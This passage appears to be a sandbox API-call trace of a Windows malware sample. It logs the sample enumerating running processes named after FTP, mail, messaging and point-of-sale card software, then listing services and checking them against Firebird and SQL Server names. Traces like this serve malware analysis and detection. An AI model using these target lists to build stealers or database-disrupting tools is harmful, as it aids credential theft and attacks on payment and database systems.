th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0160.362] lstrlenW (lpString="flashfxp.exe") returned 12 [0160.362] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0160.362] lstrlenW (lpString="fling.exe") returned 9 [0160.363] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0160.363] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0160.363] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0160.364] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0160.364] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0160.365] lstrlenW (lpString="icq.exe") returned 7 [0160.365] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0160.365] lstrlenW (lpString="leechftp.exe") returned 12 [0160.365] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0160.366] lstrlenW (lpString="ncftp.exe") returned 9 [0160.366] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0160.367] lstrlenW (lpString="notepad.exe") returned 11 [0160.367] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0160.367] lstrlenW (lpString="operamail.exe") returned 13 [0160.367] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0160.368] lstrlenW (lpString="pidgin.exe") returned 10 [0160.368] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0160.369] lstrlenW (lpString="scriptftp.exe") returned 13 [0160.369] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0160.369] lstrlenW (lpString="skype.exe") returned 9 [0160.369] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0160.370] lstrlenW (lpString="smartftp.exe") returned 12 [0160.370] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0160.371] lstrlenW (lpString="thunderbird.exe") returned 15 [0160.371] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0160.371] lstrlenW (lpString="totalcmd.exe") returned 12 [0160.371] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0160.372] lstrlenW (lpString="trillian.exe") returned 12 [0160.372] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0160.373] lstrlenW (lpString="webdrive.exe") returned 12 [0160.373] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0160.373] lstrlenW (lpString="whatsapp.exe") returned 12 [0160.373] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0160.374] lstrlenW (lpString="winscp.exe") returned 10 [0160.374] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0160.375] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0160.375] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0160.375] lstrlenW (lpString="active-charge.exe") returned 17 [0160.375] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0160.376] lstrlenW (lpString="accupos.exe") returned 11 [0160.376] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0160.377] lstrlenW (lpString="afr38.exe") returned 9 [0160.377] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0160.377] lstrlenW (lpString="aldelo.exe") returned 10 [0160.377] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0160.696] lstrlenW (lpString="ccv_server.exe") returned 14 [0160.696] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0160.696] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0160.696] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0160.697] lstrlenW (lpString="creditservice.exe") returned 17 [0160.697] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0160.698] lstrlenW (lpString="edcsvr.exe") returned 10 [0160.698] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0160.698] lstrlenW (lpString="fpos.exe") returned 8 [0160.698] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0160.699] lstrlenW (lpString="isspos.exe") returned 10 [0160.699] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0160.699] lstrlenW (lpString="mxslipstream.exe") returned 16 [0160.700] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0160.700] lstrlenW (lpString="omnipos.exe") returned 11 [0160.700] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0160.701] lstrlenW (lpString="spcwin.exe") returned 10 [0160.701] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0160.701] lstrlenW (lpString="spgagentservice.exe") returned 19 [0160.701] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0160.702] lstrlenW (lpString="utg2.exe") returned 8 [0160.702] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="counsel-directed-receivers.exe")) returned 1 [0160.702] lstrlenW (lpString="counsel-directed-receivers.exe") returned 30 [0160.703] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0160.703] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0160.703] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.704] lstrlenW (lpString="svchost.exe") returned 11 [0160.704] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0160.704] lstrlenW (lpString="taskhostw.exe") returned 13 [0160.704] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0160.705] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0160.705] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1288, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x11f0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0160.705] lstrlenW (lpString="conhost.exe") returned 11 [0160.705] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3dc, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0160.706] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0160.706] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x123c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0160.707] lstrlenW (lpString="conhost.exe") returned 11 [0160.707] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0160.707] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0160.707] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x13dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="powershell.exe")) returned 1 [0160.708] lstrlenW (lpString="powershell.exe") returned 14 [0160.708] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0160.709] lstrlenW (lpString="conhost.exe") returned 11 [0160.709] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="TiWorker.exe")) returned 1 [0160.709] lstrlenW (lpString="TiWorker.exe") returned 12 [0160.709] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0160.710] lstrlenW (lpString="sppsvc.exe") returned 10 [0160.710] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="powershell.exe")) returned 1 [0160.711] lstrlenW (lpString="powershell.exe") returned 14 [0160.711] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1368, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0160.712] lstrlenW (lpString="conhost.exe") returned 11 [0160.712] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0160.712] lstrlenW (lpString="taskhostw.exe") returned 13 [0160.712] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="NS2.exe")) returned 1 [0160.713] lstrlenW (lpString="NS2.exe") returned 7 [0160.713] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xe48, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0160.714] lstrlenW (lpString="conhost.exe") returned 11 [0160.714] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0160.714] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0160.714] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0160.715] lstrlenW (lpString="dllhost.exe") returned 11 [0160.715] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0160.715] lstrlenW (lpString="winhost.exe") returned 11 [0160.715] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xcd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0160.716] lstrlenW (lpString="cmd.exe") returned 7 [0160.716] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x8b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0160.716] lstrlenW (lpString="conhost.exe") returned 11 [0160.716] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x8b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0160.717] lstrlenW (lpString="mode.com") returned 8 [0160.717] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x8b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0160.717] CloseHandle (hObject=0x364) returned 1 [0160.717] Sleep (dwMilliseconds=0x1f4) [0161.694] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6ef030 [0161.695] EnumServicesStatusExW (in: hSCManager=0x6ef030, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0161.696] GetLastError () returned 0xea [0161.696] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1e24) returned 0x37d0998 [0161.697] EnumServicesStatusExW (in: hSCManager=0x6ef030, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x37d0998, cbBufSize=0x1e24, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x37d0998, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0161.697] CloseServiceHandle (hSCObject=0x6ef030) returned 1 [0161.698] lstrlenW (lpString="Appinfo") returned 7 [0161.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0161.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0161.698] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0161.698] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0161.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0161.698] lstrlenW (lpString="AppXSvc") returned 7 [0161.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0161.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0161.698] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0161.698] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0161.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0161.698] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0161.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0161.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0161.698] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0161.698] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0161.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0161.698] lstrlenW (lpString="Audiosrv") returned 8 [0161.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0161.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0161.698] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0161.698] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0161.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0161.698] lstrlenW (lpString="BFE") returned 3 [0161.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0161.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0161.698] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0161.698] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0161.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0161.698] lstrlenW (lpString="BITS") returned 4 [0161.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0161.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0161.698] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0161.698] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0161.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0161.698] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0161.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 